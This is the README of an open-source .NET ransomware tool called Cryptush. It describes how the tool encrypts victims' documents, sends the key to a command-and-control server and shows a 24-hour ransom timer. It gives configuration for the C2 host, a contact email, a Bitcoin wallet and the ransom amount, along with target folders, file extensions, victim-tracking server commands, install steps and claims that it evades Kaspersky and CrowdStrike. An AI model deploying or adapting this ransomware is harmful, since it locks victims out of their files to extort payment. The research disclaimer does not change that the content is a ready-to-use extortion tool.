Cryptush

An open-source ransomware tool written in .NET

Disclaimer

The tool is intended for research and threat emulation purposes only. I'm not reponsible for any malicious uses of this tool.

The Flow

1- A symmetric AES (256bit) key is generated.
2- Documents are collected from predefeind directories including its sub-directories.
3- The key is encrypted with a static public RSA key and sent to the C2 server.
4- The C2 server returns an GUID for identification and logs the details to CryptushServer.log
5- The encryption key is then deleted from memory on the victim host and a window is presented including a decryption option and a 24 hours timer.

Notes

• The ransomeware will not run in there's no communication to the C2 server. A reconnect attempt will be made every 30 seconds.

Getting Started

• Edit the app.config file inside the Cryptush folder with your details:

 <add key="ServerIP" value="ec2-3-68-73-27.eu-central-1.compute.amazonaws.com" />
<add key="ServerPort" value="443" />
<add key="Email" value="yuval555@gmail.com" />
<add key="BtcWalletAddress" value="bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh" />
<add key="BtcAmount" value="0.035" />

• Select the folders to be encrypted in Cryptush.cs, the default is:

 public static string[] paths = {
$"{desktopDir}\\test",
};

• The default extensions are:

 var extensions = new List<string> { ".xls", ".doc", ".ppt", ".pdf", ".txt" };

You can change them in Cryptush/lib/Collector.cs

Server commands

• You can view details about the encrypted victims using the "list" command (hostname, username, launch time, time left for payment, etc.).

• You can view details about the encrypted files on each victim using the "files" command.

Installing the server on Linux

wget https://packages.microsoft.com/config/debian/10/packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
sudo apt update
sudo apt install -y dotnet-runtime-5.0
sudo dotnet CryptushServer.dll --ip=* --port=443

AV Tests

• Kaspersky - PASS
• CrowdStrike - PASS

Dependencies

• Client - .NET Framework 4.8
• Server - .NET core 5.0